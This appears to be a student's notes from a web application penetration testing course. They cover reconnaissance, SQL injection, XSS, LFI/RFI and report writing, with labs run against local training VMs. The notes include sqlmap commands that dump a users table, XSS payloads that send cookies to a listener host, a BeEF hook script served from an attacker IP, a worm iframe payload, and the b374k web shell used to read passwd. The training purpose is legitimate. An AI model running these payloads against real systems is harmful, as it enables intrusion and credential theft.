Cybrary.it - Web Application Penetration Testing

Introduction
In the previous video was examined packets. We continue the discussion of web communications by taking a look into the core protocols of web app communications: HTTP and HTTPS.
HTTP consists of various types of requests with the fundamental ones by Get, Head, Delete, Post, and Put. The TCP port for HTTP is port 80.
The secure version of web app communications is HTTPS and it communicates over TCP port 443. It use SSL/TLS certificates granted by a certificate authority to vouch for the site owner’s identity. It also encrypts the data going across the connection for additional security.

• Vega web vulnerability scanner.
• BurpSuite web vulnerability scanner.
• SQLMap automatic SQL injection and database enumeration tool.
• Arachni web app attack and audit framework.
• W3AF network fuzzer.
• Nikto open source web server scanner.
• SearchSploit database exploit tool.
• NMAP network discovery and mapping tool.

In the previous video was examined packets. We continue the discussion of web communications by taking a look into the core protocols of web app communications: HTTP and HTTPS.
HTTP consists of various types of requests with the fundamental ones by Get, Head, Delete, Post, and Put. The TCP port for HTTP is port 80.
The secure version of web app communications is HTTPS and it communicates over TCP port 443. It use SSL/TLS certificates granted by a certificate authority to vouch for the site owner’s identity. It also encrypts the data going across the connection for additional security.
We continue the discussion of web communications by taking a look into the core protocols of web app communications: HTTP and HTTPS.
HTTP consists of various types of requests with the fundamental ones by Get (retrieves data), Head (used to get metadata), Delete (deletes resources off a server) , Post (used for submission of web forms), and Put (used to push a resource to a web server).
The TCP port for HTTP is port 80.
Sent Status Codes:
1xx - informational
2xx - success codes ( 200 - OK)
3xx - redirection (301 - moved permanently)
4xx- client error (404 - not found)
5xx - server error (503 - service unavailable)
HTTPS: port 443, SSL/TLS, user certificates from a certificate authority (SSL certificates are exchanged, encryption keys are exchanged).
HTTP consists of various types of requests with the fundamental ones by Get, Head, Delete, Post, and Put. The TCP port for HTTP is port 80.
The secure version of web app communications is HTTPS and it communicates over TCP port 443. It use SSL/TLS certificates granted by a certificate authority to vouch for the site owner’s identity. It also encrypts the data going across the connection for additional security.
HTTPs prevents man in the middle attack, prevents ease dropping from packet analysis tools.

Why Sites Get Hacked 1:
These are actually a series of steps which comprise the hacker methodology.
The primary reason websites are hacked is because they present a large attack surface. Web apps are software projects that are subject to the vulnerabilities of poor coding practices that result for inadequately training developers typically working under cost constraints where the priority is to ship product. Security is usually not a priority and is often an afterthought.
Foot printing where the terrain of a webserver is identified is the first step in the hacker methodology. This is accomplished via pings sweeps, Google dorking, and Whois and Web Archive lookups.
Increase in more information available online and increased vulnerabilities make websites easy prey for attackers.
Attacks: XSS (used to inject code onto a website and bypass access controls), SQL (used to enumerate databases), LFI (an attacker is able to traverse a file system), RFI (an attacker can execute a remote file on a webserver to steal data), URL Manipulation (used to gain access or information from a website when poor users controls are in place).
Footprinting - ping sweeps, whois, google hacking/dorking, The Internet Time Machine (https://archive.org/web/)

Why Sites Get Hacked 2
The next step in planning an attack is to enumerate the various ports, IP addresses, OSes, services, and software versions running within a target’s environment. This is performed in order to uncover potential vulnerabilities which can then be exploited.
Tools used in this step include NMAP, Armitage, and ZenMap.
Scanning and enumeration:
- ports, IP addresses, OS, services
- use Armitage to do a scan
nmap -A 192.168.1.10
ZenMap scanning

Why Sites Get Hacked 3:
After the network terrain has been mapped out, we need to begin probing for vulnerabilities.
This is accomplished in two ways: manually and automatically via scanning. We discuss various manual methods along with several automated tools such as Nessus, Armitage, and Searchploit.
#searchsploit Apache httpd
Enumeration:
You will need to probe for vulnerabilities. Once services have been mapped out, try default credentials to logon to them! You can check exploit databases to identify vulnerable versions of software!

Why Sites Get Hacked 4

• Exploit published vulnerabilities about software versions running on the site.
• Gain access if a service is using default credentials.
• Exploit the weakest link: humans.
• Attempt a “Hail Mary” using Armitage

Why Sites Get Hacked 5

• Scheduled services
• Files
• Any user accounts that were created
• Logs

• Gain written permission about what targets will be tested, how long will they be performed, and when things will be tested.
• Create documentation that records the tests such as output from wireshark and tcpdump along with logs about what you did.
• Build reports about what was discovered and how to fix vulnerabilities.
• Establish a good working relationship with other departments to stave off any potential misunderstandings during testing.

• the vulnerability type
• where it was found
• how it affects the customer
• suggested fix!!!! Know how to fix vulnerabilities!

• this should be placed in the agreement that is made prior to testing because when to test is just as important as what to test few a few reasons
• testing that places a large load on a system should be done at night. If the system goes down it gives the customer time to bring it back up before normal hours.
• if a web app is developed correctly it can take a beating, however not all web apps are developed to handle large amounts of malicious traffic
• certain types of tests should be done during normal operating hours. This can be used to identify if the customers can catch the attack.

• many times you will have to work with systems that are utilized and maintained by multiple departments
• it is important to develop relations with all the departments that your testing will affect
• if you fail to do so and something happens (such as the web app crashing) departments that are unsure of you may become aggressive and try to blame you even if you  haven't even begun testing yet.

• Kali 2.0
• Pentester Labs:

• Classic SQLi
• Blind SQL Injection

• BSQL Hacker
• SQLMap
• SQLNinja
• Mole
• SQLSus

• creating a website map gives automated tools the ability to identify every possible vulnerable page
• it also gives a tester a better picture of the website
• spidering can also identify pages that shouldn't be available to the average users, such as admin consoles, unfinished pages, or pages that contain sensitive data.

This lesson offers step by step examples of active and passive spidering in BurpSuite.
Using the Cali Linux environment, participants receive instructions in how to conduct active and passive spidering.
Setup your manual proxy configuration to 127.0.0.1:8080 in IceWeasel.
If you need to find the ip address of the vm, but don't have permissions, do a :
$sudo !!
to get the ifconfig of eth0!
You can turn off Passive Spidering, in Burpsuite under the Spider tab and Options tab. Under Passive Spidering, uncheck the Passively Spider as you browse!
This lesson covers active and passive spidering using the ZED attack proxy, under Web Application Analysis in Kali.
We will browse the site and OWASP ZED will track our browsing!
Under Sites in ZED, we can right click on the target site/IP (in the right pane) and choose Attack - Spider. Down at the bottom under Processed we will find the results of our Spidering.

Spidering 3:
This lesson covers commands in how to do spidering in SQLMAP using the Python language. Participants learn about the following commands:
1. -U
2. –Forms
3. –Batch
4. –Crawl
5. –Level
6. –Risk
SQLMap:
python sqlmap.py -U http://example.com --forms --batch --crawl=10 --level=5 --risk=3
-U = URL
--batch = non interactive mode, usually SQLMap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--level = different levels of tests, 1 is default and 5 is the most
--risk = different risk of tests, 1 is default and 3 is the most.

Discovering SQLi 1

• 'OR'1'='1
• see text file on external drive for more commands. Look up file name "Discovering SQLi 1"

Discovering SQLI 2:
This lesson talks about automated types of discovery and teaches participants about the gollowing variants and where to find them:
1. VEGA: Freeware and GUI-based found on KALI 1 and 2
2. SQLMAP: Freeware and CMD line based found on KALI 1 and 2
3. NMAP: Freeware and CMD line based found on KALI 1 and 2
4. ZAP: Freeware and GUI-based found on KALI 1 and 2
5. ARACHNI: Freeware and GUI-based found via the Arachni Scanner web site
6. BurpSuite: Freeware and GUI-based found on portswigger.net
This lesson specifically focuses on VEGA and offers participants step-by-step instruction in how to use it.
VEGA:
apt-get install vega
Then in Vega go to Scan - Start Scan, type IP address, choose options for SQLi and go through the tutorial leaving everything as default.
Then we wait for the results and find out Vega found 11 vulnerabilities in the "Web for Pentesters" vm.

Discovering SQLI 3
This lesson covers commands in how to do spidering in SQLMAP using the Python language:
1. -U
2. –Forms
3. –Batch
4. –Crawl
5. –Level
6. –Risk

SQLMap:
python sqlmap.py -u http://example.com --forms --batch --crawl=10 --level=5 --risk=3
-U = URL
--batch = non interactive mode, usually SQLMap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--level = different levels of tests, 1 is default and 5 is the most
--risk = different risk of tests, 1 is default and 3 is the most.
Using the Kali environment, participants receive step by step instructions in how to conduct pen testing.
During SQLi scanning, we can Ctrl+C and choose options S or E to skip over certain scan types.

Discovering SQLI 4
This lesson offers step by step directions in how to perform a scan using NMAP.
NMAP can be used as a vulnerability scanner.
This lesson offers examples of scripts which can be used to accomplish this:
• -p = port number
• -script = calling a script from the library
• -script-arghs = lets you customize the script further
nmap -p80 --script=http-sql-injection --script-args=httpspider.maxpagecount=200 <target>
- we got the same results as with Vega, but we need to use multiple tools, but we need more details, and nmap cannot give us that!

Discovering SQLI 5
This lesson is about the ZAP attack proxy. Using an application, participants receive step by step instructions in how to spider a web page and then look at everything it has found. The ZAP attack proxy is able to attack any vulnerability that is present.
ZAP:
Scan again 192.168.2.119.
If you want to change the Default Policy Manager go to Analyse and click on Scan Policy Manager - Modify- Injection - Server Side Include - click on Default under Threshold to get a drop-down menu, to choose between Default or Low,Medium,High, etc.
You can turn OFF the other options, and only turn on the scans that you want for the job.

Discovering SQLI 6
This lesson focuses on the Arachni free scanner. In this lesson, participants receive step by step instructions in how to cd into Arachni and use it to scan for vulnerability via the local host and admin account using the target URL command to check for SQL injections and perform a direct scan and discover examples of SQL injections. You can hit ‘review’ to see what was injected, what was sent as well as the response (if any).
#apt-get install arachni
#apt-get update
Go to Web Application Analysis and look up Arachni. When you start it up it will run on http://localhost:9292
Username: admin@admin.admin
Password: administrator
Go to Scans and choose New. Go through the wizard to setup your scan job.
You can also create additional Profiles, for the types of scans you want to perform.

Exploiting SQLI 1
Exploiting SQL Manually
Exploiting with tools: SQLMap, SQLSUS.
Manually:
We can use:
either       SELECT * FROM USER WHERE NAME="ROOT"
or        -1 UNION SELECT 1,2,3,4
or        ' AND '1'='1
We can use 'OR'1'='1 in :
http://192.168.2.119/sqli/example1.php?name=%27OR%271%27=%271
to dump information in the browser about the database.
With the -1 UNION SELECT 1,2,3,4
you can start modifying the parameters 1,2,3,4 to dump columns.
It will be a slow process, but you won't be seen as much!

Exploiting SQLI 2
This lesson focuses on using SQL map in Kali or Kali 2 to check a database, run a scan and discover vulnerabilities.
SQLMap:
python sqlmap.py -u "http://www.example.com/page.php?id=1" --dbs
python sqlmap.py -u "http://www.example.com/page.php?id=1" --tables -d website
python sqlmap.py -u "http://www.example.com/page.php?id=1" --columns -d website -t users
python sqlmap.py -u "http://www.example.com/page.php?id=1" --dump -d website -t users
Exercise:
sqlmap -u "http://192.168.2.119/sqli/example4.php?id=2" --dbs
Result: we dumped 2 databases
[12:29:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0.12
[12:29:31] [INFO] fetching database names
available databases [2]:
[*] exercises
[*] information_schema


Exploiting SQLI 3
This lesson focuses on how to check for tables in the database using SQLMAP to check known vulnerable web pages.
python sqlmap.py -u "http://www.example.com/page.php?id=1" --tables -d website
Exercise:
sqlmap -u "http://192.168.2.119/sqli/example5.php?id=2" --tables -D exercises
Result:
[12:37:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0.12
[12:37:24] [INFO] fetching tables for database: 'exercises'
Database: exercises
[1 table]
+-------+
| users |
+-------+
Exercise:

sqlmap -u "http://192.168.2.119/sqli/example5.php?id=2" --columns -D exercises -T users

Result:

[12:38:39] [INFO] fetching columns for table 'users' in database 'exercises'
Database: exercises
Table: users
[5 columns]
Exercise:
python sqlmap.py -u "http://www.example.com/page.php?id=1" --dump -D exercises -T users
Result:
[12:42:40] [INFO] fetching columns for table 'users' in database 'exercises'
[12:42:40] [INFO] fetching entries for table 'users' in database 'exercises'
[12:42:40] [INFO] analyzing table dump for possible password hashes
Database: exercises
Table: users
[4 entries]
+----+---------+-----+-------+---------+
| id | groupid | age | name  | passwd  |
+----+---------+-----+-------+---------+
| 1  | 10      | 10  | admin | admin   |
| 2  | 0       | 30  | root  | admin21 |
| 3  | 2       | 5   | user1 | secret  |
| 5  | 5       | 2   | user2 | azerty  |
+----+---------+-----+-------+---------+

Exploiting SQLI 4
This lesson focuses on using SQLSUS which is found on the Kali 2 platform. In this lesson, participants learn how to use SQLSUS to create a config file, name the attack, nano the file and then use the config file to launch an attack against a vulnerable web page to find tables, columns and users.
SQLSUS:
sqlsus -g attack                      //create the config file
nano attack                            //edit it
$url start="target"                //change this inside of the attack config file
//replace target within the double quotations with:
http://192.168.2.119/sqli/example5.php?id=2


sqlsus attack
start
get <item>                              //all available items we can get
get tables                                //we will get tables
get columns users                 //get columns
select * from users                    //get password

SQLI Lab
This brief lesson offers an introduction into the SQLI Lab which will focus on two things:
• Lab discovery  (using either Vega or Zap scan the "SQL to Shell" webpage for a SQLi vulnerability)
• Lab Exploitation  ( using SQLmap exploit the web page which was identified in your scan). Dump the database and discover the username and password for the web page.
http://192.168.2.8/cat.php?id=3%200%200%20-%20-
http://192.168.2.8/cat.php?id=3 0 0 - -
Check text file for results!

MODULE 3:
What is XSS 1

• XSS is a client-side code vulnerability which allows the attacker to inject code which can execute malicious scripts
• this type of attack can be used to obtain cookies, session tokens, or other sensitive information used with a compromised site
• XSS is the most common vulnerability discovered and exploited on websites
• comes with 3 flavors which are persistent, reflected and DOM-Based
• XSS can present a serious concern for websites which contain sensitive user data

• this form of XSS is the most dangerous
• saves code to the server and permanently delivers the attack (this can most commonly be found on forums and sites which allow users to post HTML formatted data)

• this is the most common type of XSS
• commonly found in HTTP query parameters or in HTML form submissions
• this type of attack is most commonly used with a URL that appears to be innocent but has a XSS attack located within the link

This lesson offers some examples of well-known XSS attacks, which include:
1. MySpace: This occurred in 2005 and involved the SAMY worm
2. Facebook: This occurred in 2011 and used a code to distribute malware, with the code below:
<iframe id="crazydavinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='just visited http://y.ahoo.it/dajeba wow.. cool! nice page dude!!!';document.forms[0].submit();}</script>"></iframe>

3. Yahoo: This occurred in 2013 and involved cookie theft
A spam message with a short link to an apparently harmless session of MSNBC led to account hijacking via cookie theft!!!

Discovering XSS 1

• Nmap
• Arachni
• Vega
• Xsser

Discovering XSS 2
This lesson offers step by step instructions in how to use to ARACHNI tool to do a XSS check using the Kali tool.
Web Based tool!!!!
localhost:9292
(must run as root)

Discovering XSS 3
This lesson is about discovering XSS using NMAP which is script that posts specifically crafted strings to every form it discovers.
Use the Web for Penters virtual machine!!!

nmap -p80 --script http-stored-xss.nse <target>
This script will post specially crafted strings to every form it discovers.
nmap -p80 --script http=stored.xss --script-args=httpspider.maxpagecount=200 192.168.2.119
nmap -p80 --script http-dombased-xss --script-args=httpspider.maxpagecount=200 192.168.2.119
nmap -p80 --script http-phpself-xss --script-args=httpspider.maxpagecount=200 192.168.2.119

Discovering XSS 4
This lesson offers step by step instructions in how to use XSSERto find XSS.
XSSER -c 100 --CW=4 -u <target IP>
xsser -c100 --Cw=4 -u http://192.168.2.119
-c = number of pages to crawl
--Cw = depth of the crawler
-u= URL

Discovering XSS 5
This lesson discusses entering XSS script manually using a list of commands via Web for Pentester to scan for vulnerabilities.
The best way to test for XSS is entering the string below into a common field such as the URL:
<script>alert('PWN')</script>
example:
http://example.com/index.php?user=<script>alert('PWN')</script>

If you want to test for cookie theft on your application you can use the string below:
<script>alert("cookie"+document.cookie)</script>
example:
http://example.com/index.php?user=<script>alert("cookie"+document.cookie)</script>


Discovering XSS 6
This brief lesson offers a demonstration in how to use the document cookie command to pull cookies.
example1.php?name=<script>alert(document.cookie)</script>

Exploiting XSS 1

• redirection
• cookie theft

• <script></script> - this identified the enclosed content as a script
• new image().src= - this line identified the server to communicate with
• "http://listener-ip:and port/b.php?"+document.cookie; - this portion identified the server the script will communicate with and will send cookies with the communication.

Exploiting XSS 2- with BEEF
This lesson covers exploiting XSS using the BEEF tool. BEEF is a multi-step process which allows an attacker to take control of victim’s browser.
Exploit XSS with BEEF:
Beef is a multi step process which will give you control over a victims browser.
First step: you will want to build  your malicious code
Second step: make the URL
Third step: send the URL to a victim
Fourth: $$$$

if you are running Kali 2.0 you can start BEEF from the Applications - Exploitation tools menu.
After that the browse to http://127.0.0.1:3000/UI/Authentication
username:beef
password:beef
Next the malicious code will need to be crafted:
<script src=http://atackerIP:3000/hook.js></script>
This line can be found when you initially start BEEF.
Next that code will need delivered. This can be done by placing it into a vulnerable field like we did in our prior example or it can be delivered via a link like below:
http://example.com/search.asp?query=<script src=http://attackerIP:3000/hook.js></script>
After the code is delivered you wait for the victim to browse to the site once they do you will get confirmation as shown below!
The CODE:
<script src="http://192.168.2.21:3000/hook.js"></script>
You need to have patience while you exploit through a browser! Don't give up so easily!

XSS Lab
This lesson discusses the XSS lab. The lab will cover:
• XSS discovery
• XSS Exploitation
• XSS Exploitation (bonus section)
Use VEGA or ZAP to scan "The Web for pentesters" webpage for a XSS vulnerability!
Then, use a manual script to create an alert window!
Generate a BEEF link using the exploitable page!
Browse to the generated link and using the BEEF tools, take a snapshot of the monitor!

For the Bonus work:
Setup a second VM
From the second vm browse to the malicious link!
Use BEEF tools to enumerate data about the new host!

MODULE 4
LFI & RFI 1
This lesson offers a brief introduction into Local File Inclusion (LFI) and Remote File Inclusion (RFI) and will cover the following:

1. What is LFI
LFI is the process of including files on a server through a browser.
In simple terms it allows you to view files on a server and in some cases execute commands.
This can be used to traverse a system and gain access to files that should normally not be accessible.

2. What does LFI look like?
Check LFI - what does LFI look like.txt file.

3. Why is LFI dangerous?
LFI as I said before is used to be able to access files. If you have the ability to access files as root user this opens doors to sensitive files.
Check LFI - why is LFI dangeous

4. What is RFI?
See next lesson...

5. What does RFI look like and why is it dangerous?
See next lesson...

LFI & RFI 2
This lesson covers how LFI works using the Kali Box. Participants learn step by step instructions in how to discover the source of a file. LFI is used to access files and can be used to open doors to sensitive files if one has the ability to access files as a root user.
4. Why is LFI dangerous?
Because it can reveal directories and files we are not meant to access or view!

LFI & RFI 3

• a backdoor
• keylogger
• malware distro
• bots

LFI & RFI Lab
This lesson offers a brief introduction of the LFI and RFI lab. This unit covers:
1. LFI Discovery - use the "Web for Pentesters" webpage identify an LFI vulnerability manually or with ZAP.
2. LFI Exploitation - use the vulnerable URL to read /etc/network file
SEE TEXT file!!!!
3. RFI Discovery - using the "Web for pentesters" webpage identify an RFI vulnerability manually or with ZAP.
4. RFI Exploitation - once the vulnerability is discovered upload the b374k software and download the passwd file.
http://192.168.2.119/upload/images/b374k-2.8.php
http://192.168.2.119/upload/example1.php


MODULE 5
Report Creation 1
• What to include (Details)
- Planning, Assumptions, Objective, Methodology, Timeline.
- Affected assets, vulnerabilities found (CVE-IDs), Impact, Attack Probability, Estimated Loss, Recommendations.

o Artifacts
• What to consider
o Audience
o Time
o Classification
• Supporting documentation


Report Creation 2

• images
• logs
• charts
• graphs
• packets
• code

• who are you presenting this to?
• how much do they need to know?
• how technical are they?
• what are they allowed to know?

• how quickly does the report need to be completed?
• when will it be presented?
• how long should the presentation be?

• what kind of organization are you performing this test for? (government, large corporation, small company)

• have all supporting documentation consolidated and make it easy to deliver
• this includes and is not limited to the following (PCAPs, Nmap results, Fuzzer reports, screen captures, XML files)

Wrap Up
1. HTTP and HTTPS basics
2. Why do web sites get hacked?
3. Hacker methodology
4. SQL injection
5. Cross site scripting (XSS)
6. LFI and RFI
7. Reporting
HAPPY HACKING EVERYONE!!!!